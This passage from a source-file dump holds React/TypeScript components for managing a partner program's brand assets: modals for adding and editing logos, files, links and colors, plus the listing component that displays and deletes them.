</>\n  );\n}\n\nexport function useColorModal({\n  existingResource,\n}: { existingResource?: ProgramResourceColor } = {}) {\n  const [showColorModal, setShowColorModal] = useState(false);\n\n  const ColorModalCallback = useCallback(() => {\n    return (\n      <ColorModal\n        showColorModal={showColorModal}\n        setShowColorModal={setShowColorModal}\n        existingResource={existingResource}\n      />\n    );\n  }, [showColorModal, setShowColorModal, existingResource]);\n\n  return useMemo(\n    () => ({\n      setShowColorModal,\n      ColorModal: ColorModalCallback,\n    }),\n    [setShowColorModal, ColorModalCallback],\n  );\n}\n\n// Keep backwards compatibility alias\nexport const useAddColorModal = useColorModal;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/add-file-modal.tsx",
    "content": "\"use client\";\n\nimport { addProgramResourceAction } from \"@/lib/actions/partners/program-resources/add-program-resource\";\nimport { updateProgramResourceAction } from \"@/lib/actions/partners/program-resources/update-program-resource\";\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramResourceFile } from \"@/lib/zod/schemas/program-resources\";\nimport { Button, FileContent, FileUpload, Modal } from \"@dub/ui\";\nimport { cn, truncate } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { useUploadProgramResource } from \"./use-upload-program-resource\";\n\ntype FileModalProps = {\n  showFileModal: boolean;\n  setShowFileModal: Dispatch<SetStateAction<boolean>>;\n  existingResource?: ProgramResourceFile;\n};\n\nconst fileFormSchema = z.object({\n  name: z.string().min(1, \"Name is required\"),\n  hasFile: z.boolean().optional(),\n  extension: z.string().nullish(),\n});\n\ntype FileFormData = z.infer<typeof fileFormSchema>;\n\nfunction FileModal(props: FileModalProps) {\n  return (\n    <Modal\n      showModal={props.showFileModal}\n      setShowModal={props.setShowFileModal}\n    >\n      <FileModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction FileModalInner({\n  setShowFileModal,\n  existingResource,\n}: FileModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { mutate } = useProgramResources();\n  const isEditing = Boolean(existingResource);\n\n  const rawFileRef = useRef<File | null>(null);\n  const [fileName, setFileName] = useState(existingResource?.name || \"\");\n  const [hasNewFile, setHasNewFile] = useState(false);\n\n  const {\n    register,\n    handleSubmit,\n    control,\n    setValue,\n    getValues,\n    setError,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<FileFormData>({\n    defaultValues: {\n      name: existingResource?.name || \"\",\n      hasFile: false,\n    },\n  });\n\n  const { upload } = useUploadProgramResource(workspaceId!);\n\n  const { executeAsync: executeAdd } = useAction(addProgramResourceAction, {\n    onSuccess: () => {\n      mutate();\n      setShowFileModal(false);\n      toast.success(\"File added successfully!\");\n    },\n    onError({ error }) {\n      if (error.serverError) {\n        setError(\"root.serverError\", {\n          message: error.serverError,\n        });\n        toast.error(error.serverError);\n      } else {\n        toast.error(\"Failed to add file\");\n      }\n    },\n  });\n\n  const { executeAsync: executeUpdate } = useAction(\n    updateProgramResourceAction,\n    {\n      onSuccess: () => {\n        mutate();\n        setShowFileModal(false);\n        toast.success(\"File updated successfully!\");\n      },\n      onError({ error }) {\n        if (error.serverError) {\n          setError(\"root.serverError\", {\n            message: error.serverError,\n          });\n          toast.error(error.serverError);\n        } else {\n          toast.error(\"Failed to update file\");\n        }\n      },\n    },\n  );\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {isEditing ? \"Edit file\" : \"Add file\"}\n        </h3>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data: FileFormData) => {\n          try {\n            if (isEditing && existingResource) {\n              let uploadedKey: string | undefined;\n              let uploadedFileSize: number | undefined;\n\n              if (hasNewFile && rawFileRef.current) {\n                const { key, fileSize } = await upload({\n                  file: rawFileRef.current,\n                  resourceType: \"file\",\n                  name: data.name,\n                  extension: data.extension ?? undefined,\n                });\n                uploadedKey = key;\n                uploadedFileSize = fileSize;\n              }\n\n              await executeUpdate({\n                workspaceId: workspaceId!,\n                resourceId: existingResource.id,\n                resourceType: \"file\",\n                name: data.name,\n                ...(uploadedKey\n                  ? { key: uploadedKey, fileSize: uploadedFileSize }\n                  : {}),\n              });\n            } else {\n              if (!rawFileRef.current) {\n                setError(\"hasFile\", { message: \"File is required\" });\n                return;\n              }\n\n              const { key, fileSize } = await upload({\n                file: rawFileRef.current,\n                resourceType: \"file\",\n                name: data.name,\n                extension: data.extension ?? undefined,\n              });\n\n              await executeAdd({\n                workspaceId: workspaceId!,\n                name: data.name,\n                resourceType: \"file\",\n                key,\n                fileSize,\n              });\n            }\n          } catch (err) {\n            const message =\n              err instanceof Error ? err.message : \"Something went wrong\";\n            toast.error(message);\n          }\n        })}\n      >\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <label\n                htmlFor=\"file-upload\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                File\n              </label>\n              <Controller\n                control={control}\n                name=\"hasFile\"\n                rules={{\n                  validate: (v) =>\n                    !isEditing && !v ? \"File is required\" : true,\n                }}\n                render={({ field }) => (\n                  <FileUpload\n                    accept=\"programResourceFiles\"\n                    className={cn(\n                      \"aspect-[4.2] w-full rounded-md border border-neutral-300\",\n                      errors.hasFile && \"border-red-300 ring-1 ring-red-500\",\n                    )}\n                    iconClassName=\"size-5\"\n                    variant=\"plain\"\n                    readFile\n                    onChange={({ file, src }) => {\n                      rawFileRef.current = file;\n                      setFileName(file.name);\n                      field.onChange(true);\n                      setValue(\"extension\", file.name.split(\".\").pop());\n                      setHasNewFile(true);\n\n                      const currentName = getValues(\"name\");\n                      if (!currentName && file.name) {\n                        const nameWithoutExtension = file.name\n                          .split(\".\")\n                          .slice(0, -1)\n                          .join(\".\");\n                        setValue(\"name\", nameWithoutExtension || file.name);\n                      }\n                    }}\n                    icon={field.value || isEditing ? FileContent : undefined}\n                    content={\n                      field.value\n                        ? truncate(fileName, 25)\n                        : isEditing\n                          ? `Current: ${truncate(existingResource?.name || \"\", 25)} (drop to replace)`\n                          : \"Any document or zip file, max size of 10MB\"\n                    }\n                    maxFileSizeMB={10}\n                  />\n                )}\n              />\n              {errors.hasFile && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.hasFile.message}\n                </p>\n              )}\n            </div>\n\n            <div>\n              <label\n                htmlFor=\"name\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                File name\n              </label>\n              <input\n                id=\"name\"\n                type=\"text\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  errors.name &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                {...register(\"name\", { required: \"Name is required\" })}\n              />\n              {errors.name && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.name.message}\n                </p>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowFileModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            autoFocus\n            loading={isSubmitting || isSubmitSuccessful}\n            text={isEditing ? \"Save Changes\" : \"Add File\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useFileModal({\n  existingResource,\n}: { existingResource?: ProgramResourceFile } = {}) {\n  const [showFileModal, setShowFileModal] = useState(false);\n\n  const FileModalCallback = useCallback(() => {\n    return (\n      <FileModal\n        showFileModal={showFileModal}\n        setShowFileModal={setShowFileModal}\n        existingResource={existingResource}\n      />\n    );\n  }, [showFileModal, setShowFileModal, existingResource]);\n\n  return useMemo(\n    () => ({\n      setShowFileModal,\n      FileModal: FileModalCallback,\n    }),\n    [setShowFileModal, FileModalCallback],\n  );\n}\n\n// Keep backwards compatibility alias\nexport const useAddFileModal = useFileModal;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/add-link-modal.tsx",
    "content": "\"use client\";\n\nimport { addProgramResourceAction } from \"@/lib/actions/partners/program-resources/add-program-resource\";\nimport { updateProgramResourceAction } from \"@/lib/actions/partners/program-resources/update-program-resource\";\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramResourceLink } from \"@/lib/zod/schemas/program-resources\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\n\ntype LinkModalProps = {\n  showLinkModal: boolean;\n  setShowLinkModal: Dispatch<SetStateAction<boolean>>;\n  existingResource?: ProgramResourceLink;\n};\n\nconst linkFormSchema = z.object({\n  name: z.string().min(1, \"Display name is required\"),\n  url: z.url(\"Please enter a valid URL\"),\n});\n\ntype LinkFormData = z.infer<typeof linkFormSchema>;\n\nfunction LinkModal(props: LinkModalProps) {\n  return (\n    <Modal\n      showModal={props.showLinkModal}\n      setShowModal={props.setShowLinkModal}\n    >\n      <LinkModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction LinkModalInner({\n  setShowLinkModal,\n  existingResource,\n}: LinkModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { mutate } = useProgramResources();\n  const isEditing = Boolean(existingResource);\n\n  const {\n    register,\n    handleSubmit,\n    setError,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<LinkFormData>({\n    defaultValues: {\n      name: existingResource?.name || \"\",\n      url: existingResource?.url || \"\",\n    },\n  });\n\n  const { executeAsync: executeAdd } = useAction(addProgramResourceAction, {\n    onSuccess: () => {\n      mutate();\n      setShowLinkModal(false);\n      toast.success(\"Link added successfully!\");\n    },\n    onError({ error }) {\n      if (error.serverError) {\n        setError(\"root.serverError\", {\n          message: error.serverError,\n        });\n        toast.error(error.serverError);\n      } else {\n        toast.error(\"Failed to add link\");\n      }\n    },\n  });\n\n  const { executeAsync: executeUpdate } = useAction(\n    updateProgramResourceAction,\n    {\n      onSuccess: () => {\n        mutate();\n        setShowLinkModal(false);\n        toast.success(\"Link updated successfully!\");\n      },\n      onError({ error }) {\n        if (error.serverError) {\n          setError(\"root.serverError\", {\n            message: error.serverError,\n          });\n          toast.error(error.serverError);\n        } else {\n          toast.error(\"Failed to update link\");\n        }\n      },\n    },\n  );\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {isEditing ? \"Edit link\" : \"Add link\"}\n        </h3>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data: LinkFormData) => {\n          if (isEditing && existingResource) {\n            await executeUpdate({\n              workspaceId: workspaceId!,\n              resourceId: existingResource.id,\n              resourceType: \"link\",\n              name: data.name,\n              url: data.url,\n            });\n          } else {\n            await executeAdd({\n              workspaceId: workspaceId!,\n              name: data.name,\n              resourceType: \"link\",\n              url: data.url,\n            });\n          }\n        })}\n      >\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <label\n                htmlFor=\"url\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                URL\n              </label>\n\n              <input\n                id=\"url\"\n                type=\"url\"\n                placeholder=\"https://yoursite.com/brand\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 placeholder-neutral-400 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  errors.url &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                {...register(\"url\", { required: \"URL is required\" })}\n              />\n\n              {errors.url && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.url.message}\n                </p>\n              )}\n            </div>\n\n            <div>\n              <label\n                htmlFor=\"name\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                Display name\n              </label>\n\n              <input\n                id=\"name\"\n                type=\"text\"\n                placeholder=\"Brand guidelines\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 placeholder-neutral-400 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  errors.name &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                {...register(\"name\", { required: \"Display name is required\" })}\n              />\n\n              {errors.name ? (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.name.message}\n                </p>\n              ) : (\n                <p className=\"mt-2 text-xs text-neutral-500\">\n                  The display name that is shown to partners\n                </p>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowLinkModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            autoFocus\n            loading={isSubmitting || isSubmitSuccessful}\n            text={isEditing ? \"Save Changes\" : \"Add link\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useLinkModal({\n  existingResource,\n}: { existingResource?: ProgramResourceLink } = {}) {\n  const [showLinkModal, setShowLinkModal] = useState(false);\n\n  const LinkModalCallback = useCallback(() => {\n    return (\n      <LinkModal\n        showLinkModal={showLinkModal}\n        setShowLinkModal={setShowLinkModal}\n        existingResource={existingResource}\n      />\n    );\n  }, [showLinkModal, setShowLinkModal, existingResource]);\n\n  return useMemo(\n    () => ({\n      setShowLinkModal,\n      LinkModal: LinkModalCallback,\n    }),\n    [setShowLinkModal, LinkModalCallback],\n  );\n}\n\n// Keep backwards compatibility alias\nexport const useAddLinkModal = useLinkModal;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/add-logo-modal.tsx",
    "content": "\"use client\";\n\nimport { addProgramResourceAction } from \"@/lib/actions/partners/program-resources/add-program-resource\";\nimport { updateProgramResourceAction } from \"@/lib/actions/partners/program-resources/update-program-resource\";\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { ProgramResourceFile } from \"@/lib/zod/schemas/program-resources\";\nimport { Button, FileUpload, Modal } from \"@dub/ui\";\nimport { cn } from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useRef,\n  useState,\n} from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport * as z from \"zod/v4\";\nimport { useUploadProgramResource } from \"./use-upload-program-resource\";\n\ntype LogoModalProps = {\n  showLogoModal: boolean;\n  setShowLogoModal: Dispatch<SetStateAction<boolean>>;\n  existingResource?: ProgramResourceFile;\n};\n\nconst logoFormSchema = z.object({\n  name: z.string(),\n  previewSrc: z.string().optional(),\n  hasFile: z.boolean().optional(),\n  extension: z.string().nullish(),\n});\n\ntype LogoFormData = z.infer<typeof logoFormSchema>;\n\nfunction LogoModal(props: LogoModalProps) {\n  return (\n    <Modal\n      showModal={props.showLogoModal}\n      setShowModal={props.setShowLogoModal}\n    >\n      <LogoModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction LogoModalInner({\n  setShowLogoModal,\n  existingResource,\n}: LogoModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const { mutate } = useProgramResources();\n  const isEditing = Boolean(existingResource);\n\n  const rawFileRef = useRef<File | null>(null);\n  const [hasNewFile, setHasNewFile] = useState(false);\n\n  const {\n    register,\n    handleSubmit,\n    control,\n    setValue,\n    getValues,\n    setError,\n    formState: { errors, isSubmitting, isSubmitSuccessful },\n  } = useForm<LogoFormData>({\n    defaultValues: {\n      name: existingResource?.name || \"\",\n      previewSrc: \"\",\n      hasFile: false,\n    },\n  });\n\n  const { upload } = useUploadProgramResource(workspaceId!);\n\n  const { executeAsync: executeAdd } = useAction(addProgramResourceAction, {\n    onSuccess: () => {\n      mutate();\n      setShowLogoModal(false);\n      toast.success(\"Logo added successfully!\");\n    },\n    onError({ error }) {\n      if (error.serverError) {\n        setError(\"root.serverError\", {\n          message: error.serverError,\n        });\n        toast.error(error.serverError);\n      } else {\n        toast.error(\"Failed to upload logo\");\n      }\n    },\n  });\n\n  const { executeAsync: executeUpdate } = useAction(\n    updateProgramResourceAction,\n    {\n      onSuccess: () => {\n        mutate();\n        setShowLogoModal(false);\n        toast.success(\"Logo updated successfully!\");\n      },\n      onError({ error }) {\n        if (error.serverError) {\n          setError(\"root.serverError\", {\n            message: error.serverError,\n          });\n          toast.error(error.serverError);\n        } else {\n          toast.error(\"Failed to update logo\");\n        }\n      },\n    },\n  );\n\n  return (\n    <>\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          {isEditing ? \"Edit logo\" : \"Add logo\"}\n        </h3>\n      </div>\n\n      <form\n        onSubmit={handleSubmit(async (data: LogoFormData) => {\n          try {\n            if (isEditing && existingResource) {\n              let uploadedKey: string | undefined;\n              let uploadedFileSize: number | undefined;\n\n              if (hasNewFile && rawFileRef.current) {\n                const { key, fileSize } = await upload({\n                  file: rawFileRef.current,\n                  resourceType: \"logo\",\n                  name: data.name,\n                  extension: data.extension ?? undefined,\n                });\n                uploadedKey = key;\n                uploadedFileSize = fileSize;\n              }\n\n              await executeUpdate({\n                workspaceId: workspaceId!,\n                resourceId: existingResource.id,\n                resourceType: \"logo\",\n                name: data.name,\n                ...(uploadedKey\n                  ? { key: uploadedKey, fileSize: uploadedFileSize }\n                  : {}),\n              });\n            } else {\n              if (!rawFileRef.current) {\n                setError(\"hasFile\", { message: \"Logo file is required\" });\n                return;\n              }\n\n              const { key, fileSize } = await upload({\n                file: rawFileRef.current,\n                resourceType: \"logo\",\n                name: data.name,\n                extension: data.extension ?? undefined,\n              });\n\n              await executeAdd({\n                workspaceId: workspaceId!,\n                name: data.name,\n                resourceType: \"logo\",\n                key,\n                fileSize,\n              });\n            }\n          } catch (err) {\n            const message =\n              err instanceof Error ? err.message : \"Something went wrong\";\n            toast.error(message);\n          }\n        })}\n      >\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <div className=\"space-y-4\">\n            <div>\n              <label\n                htmlFor=\"logo-file\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                Logo\n              </label>\n              <Controller\n                control={control}\n                name=\"previewSrc\"\n                rules={{\n                  validate: (_, formValues) =>\n                    !isEditing && !formValues.hasFile\n                      ? \"Logo file is required\"\n                      : true,\n                }}\n                render={({ field }) => (\n                  <FileUpload\n                    accept=\"programResourceImages\"\n                    className={cn(\n                      \"aspect-[4.2] w-full rounded-md border border-neutral-300\",\n                      errors.previewSrc && \"border-red-300 ring-1 ring-red-500\",\n                    )}\n                    iconClassName=\"size-5\"\n                    previewClassName=\"object-contain\"\n                    variant=\"plain\"\n                    imageSrc={field.value || existingResource?.url}\n                    readFile\n                    onChange={({ file, src }) => {\n                      rawFileRef.current = file;\n                      field.onChange(src);\n                      setValue(\"hasFile\", true);\n                      setValue(\"extension\", file.name.split(\".\").pop());\n                      setHasNewFile(true);\n\n                      const currentName = getValues(\"name\");\n                      if (!currentName && file.name) {\n                        const nameWithoutExtension = file.name\n                          .split(\".\")\n                          .slice(0, -1)\n                          .join(\".\");\n                        setValue(\"name\", nameWithoutExtension || file.name);\n                      }\n                    }}\n                    content={\n                      isEditing\n                        ? \"Drop a new file to replace, or leave unchanged\"\n                        : \"SVG, JPG, PNG, or WEBP, max size of 5MB\"\n                    }\n                    maxFileSizeMB={5}\n                  />\n                )}\n              />\n              {errors.previewSrc && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.previewSrc.message}\n                </p>\n              )}\n            </div>\n\n            <div>\n              <label\n                htmlFor=\"name\"\n                className=\"mb-1 block text-sm font-medium text-neutral-700\"\n              >\n                File name\n              </label>\n              <input\n                id=\"name\"\n                type=\"text\"\n                className={cn(\n                  \"block w-full rounded-md border-neutral-300 shadow-sm focus:border-neutral-500 focus:ring-neutral-500 sm:text-sm\",\n                  errors.name &&\n                    \"border-red-300 pr-10 text-red-900 placeholder-red-300 focus:border-red-500 focus:ring-red-500\",\n                )}\n                {...register(\"name\", { required: \"Name is required\" })}\n              />\n              {errors.name && (\n                <p className=\"mt-1 text-xs text-red-600\">\n                  {errors.name.message}\n                </p>\n              )}\n            </div>\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowLogoModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n            type=\"button\"\n          />\n          <Button\n            type=\"submit\"\n            autoFocus\n            loading={isSubmitting || isSubmitSuccessful}\n            text={isEditing ? \"Save Changes\" : \"Add Logo\"}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </>\n  );\n}\n\nexport function useLogoModal({\n  existingResource,\n}: { existingResource?: ProgramResourceFile } = {}) {\n  const [showLogoModal, setShowLogoModal] = useState(false);\n\n  const LogoModalCallback = useCallback(() => {\n    return (\n      <LogoModal\n        showLogoModal={showLogoModal}\n        setShowLogoModal={setShowLogoModal}\n        existingResource={existingResource}\n      />\n    );\n  }, [showLogoModal, setShowLogoModal, existingResource]);\n\n  return useMemo(\n    () => ({\n      setShowLogoModal,\n      LogoModal: LogoModalCallback,\n    }),\n    [setShowLogoModal, LogoModalCallback],\n  );\n}\n\nexport const useAddLogoModal = useLogoModal;\n"
  },
  {
    "path": "apps/web/app/app.dub.co/(dashboard)/[slug]/(ee)/program/resources/program-brand-assets/index.tsx",
    "content": "\"use client\";\n\nimport { deleteProgramResourceAction } from \"@/lib/actions/partners/program-resources/delete-program-resource\";\nimport useProgramResources from \"@/lib/swr/use-program-resources\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport {\n  ProgramResourceColor,\n  ProgramResourceFile,\n  ProgramResourceLink,\n  ProgramResourceType,\n} from \"@/lib/zod/schemas/program-resources\";\nimport { ResourceCard } from \"@/ui/partners/resources/resource-card\";\nimport { AnimatedSizeContainer, Button, FileContent } from \"@dub/ui\";\nimport {\n  capitalize,\n  formatFileSize,\n  getApexDomain,\n  getFileExtension,\n  getPrettyUrl,\n  GOOGLE_FAVICON_URL,\n} from \"@dub/utils\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport { useState } from \"react\";\nimport { toast } from \"sonner\";\nimport { SettingsRow } from \"../../program-settings-row\";\nimport { useColorModal } from \"./add-color-modal\";\nimport { useFileModal } from \"./add-file-modal\";\nimport { useLinkModal } from \"./add-link-modal\";\nimport { useLogoModal } from \"./add-logo-modal\";\n\nexport function ProgramBrandAssets() {\n  const { id: workspaceId } = useWorkspace();\n  const { resources, mutate, isLoading } = useProgramResources();\n\n  // Track which resource is being edited (if any)\n  const [editingLogo, setEditingLogo] = useState<\n    ProgramResourceFile | undefined\n  >();\n  const [editingColor, setEditingColor] = useState<\n    ProgramResourceColor | undefined\n  >();\n  const [editingFile, setEditingFile] = useState<\n    ProgramResourceFile | undefined\n  >();\n  const [editingLink, setEditingLink] = useState<\n    ProgramResourceLink | undefined\n  >();\n\n  // Modal hooks with editing support\n  const { setShowLogoModal, LogoModal } = useLogoModal({\n    existingResource: editingLogo,\n  });\n  const { setShowColorModal, ColorModal } = useColorModal({\n    existingResource: editingColor,\n  });\n  const { setShowFileModal, FileModal } = useFileModal({\n    existingResource: editingFile,\n  });\n  const { setShowLinkModal, LinkModal } = useLinkModal({\n    existingResource: editingLink,\n  });\n\n  const { executeAsync } = useAction(deleteProgramResourceAction, {\n    onSuccess: ({ input }) => {\n      toast.success(`${capitalize(input.resourceType)} deleted successfully`);\n      mutate();\n    },\n    onError: ({ input, error }) => {\n      toast.error(\n        error.serverError || `Failed to delete ${input.resourceType}`,\n      );\n    },\n  });\n\n  const handleDelete = async (\n    resourceType: ProgramResourceType,\n    resourceId: string,\n  ) => {\n    const result = await executeAsync({\n      workspaceId: workspaceId as string,\n      resourceType,\n      resourceId,\n    });\n\n    return !!result?.data?.success;\n  };\n\n  const handleAddLogo = () => {\n    setEditingLogo(undefined);\n    setShowLogoModal(true);\n  };\n\n  const handleEditLogo = (logo: ProgramResourceFile) => {\n    setEditingLogo(logo);\n    setShowLogoModal(true);\n  };\n\n  const handleAddColor = () => {\n    setEditingColor(undefined);\n    setShowColorModal(true);\n  };\n\n  const handleEditColor = (color: ProgramResourceColor) => {\n    setEditingColor(color);\n    setShowColorModal(true);\n  };\n\n  const handleAddFile = () => {\n    setEditingFile(undefined);\n    setShowFileModal(true);\n  };\n\n  const handleEditFile = (file: ProgramResourceFile) => {\n    setEditingFile(file);\n    setShowFileModal(true);\n  };\n\n  const handleAddLink = () => {\n    setEditingLink(undefined);\n    setShowLinkModal(true);\n  };\n\n  const handleEditLink = (link: ProgramResourceLink) => {\n    setEditingLink(link);\n    setShowLinkModal(true);\n  };\n\n  return (\n    <>\n      <LogoModal />\n      <ColorModal />\n      <FileModal />\n      <LinkModal />\n      <div className=\"rounded-lg border border-neutral-200 bg-white\">\n        <div className=\"p-6\">\n          <h2 className=\"inline-flex items-center gap-2 text-lg font-semibold text-neutral-900\">\n            Brand Assets\n          </h2>\n          <p className=\"mt-1 text-sm text-neutral-600\">\n            Logos, colors, and additional documents for your partners to\n            download and use\n          </p>\n        </div>\n\n        <div className=\"divide-y divide-neutral-200 border-t border-neutral-200 px-6\">\n          <SettingsRow\n            heading=\"Brand Logos\"\n            description=\"SVG, JPG, or PNG, max size of 10 MB\"\n          >\n            <div className=\"flex flex-col gap-3\">\n              <div className=\"flex items-center justify-end\">\n                <Button\n                  text=\"Add Logo\"\n                  className=\"h-8 w-fit px-3\"\n                  onClick={handleAddLogo}\n                  loading={isLoading}\n                />\n              </div>\n\n              <AnimatedSizeContainer\n                height\n                transition={{ duration: 0.2, ease: \"easeInOut\" }}\n              >\n                {resources?.logos && resources.logos.length > 0 && (\n                  <div className=\"grid gap-2\">\n                    {resources?.logos?.map((logo) => (\n                      <ResourceCard\n                        key={logo.id}\n                        resourceType=\"logo\"\n                        icon={\n                          <div className=\"relative size-8 overflow-hidden\">\n                            <img\n                              src={logo.url}\n                              alt=\"thumbnail\"\n                              className=\"size-full object-contain\"\n                            />\n                          </div>\n                        }\n                        title={logo.name || \"Logo\"}\n                        description={`${getFileExtension(logo.url) || \"Unknown\"}・${formatFileSize(logo.size, 0)}`}\n                        downloadUrl={logo.url}\n                        onEdit={() => handleEditLogo(logo)}\n                        onDelete={() => handleDelete(\"logo\", logo.id)}\n                      />\n                    ))}\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Links\"\n            description=\"Provide any additional links helpful to your partners\"\n          >\n            <div className=\"flex flex-col gap-3\">\n              <div className=\"flex items-center justify-end\">\n                <Button\n                  text=\"Add Link\"\n                  className=\"h-8 w-fit px-3\"\n                  onClick={handleAddLink}\n                  loading={isLoading}\n                />\n              </div>\n              <AnimatedSizeContainer\n                height\n                transition={{ duration: 0.2, ease: \"easeInOut\" }}\n              >\n                {resources?.links && resources.links.length > 0 && (\n                  <div className=\"grid gap-2\">\n                    {resources?.links?.map((link) => (\n                      <ResourceCard\n                        key={link.id}\n                        resourceType=\"link\"\n                        icon={\n                          <div className=\"flex size-full items-center justify-center bg-neutral-50\">\n                            <img\n                              src={`${GOOGLE_FAVICON_URL}${getApexDomain(link.url)}`}\n                              alt={link.name}\n                              className=\"size-6 rounded-full object-contain\"\n                            />\n                          </div>\n                        }\n                        title={link.name}\n                        description={getPrettyUrl(link.url)}\n                        visitUrl={link.url}\n                        copyText={link.url}\n                        onEdit={() => handleEditLink(link)}\n                        onDelete={() => handleDelete(\"link\", link.id)}\n                      />\n                    ))}\n                  </div>\n                )}\n              </AnimatedSizeContainer>\n            </div>\n          </SettingsRow>\n\n          <SettingsRow\n            heading=\"Colors\"\n            description=\"Provide affiliates with official colors\"\n          >\n            <div className=\"flex flex-col gap-3\">\n              <div className=\"flex items-center justify-end\">\n                <Button\n                  text=\"Add Color\"\n                  className=\"h-8 w-fit px-3\"\n                  onClick={handleAddColor}\n                  loading={isLoading}\n                />\n              </div>\n              <AnimatedSizeContainer\n                height\n                transition={{ duration: 0.2, ease: \"easeInOut\" }}\n              >\n                {resources?.colors && resources.colors.length > 0 && (\n                  <div className=\"grid gap-2\">\n                    {resources?.colors?.map((color) => (\n                      <ResourceCard\n                        key={color.id}\n                        resourceType=\"color\"\n                        icon={\n                          <div\n                            className=\"size-full\"\n                            style={{ 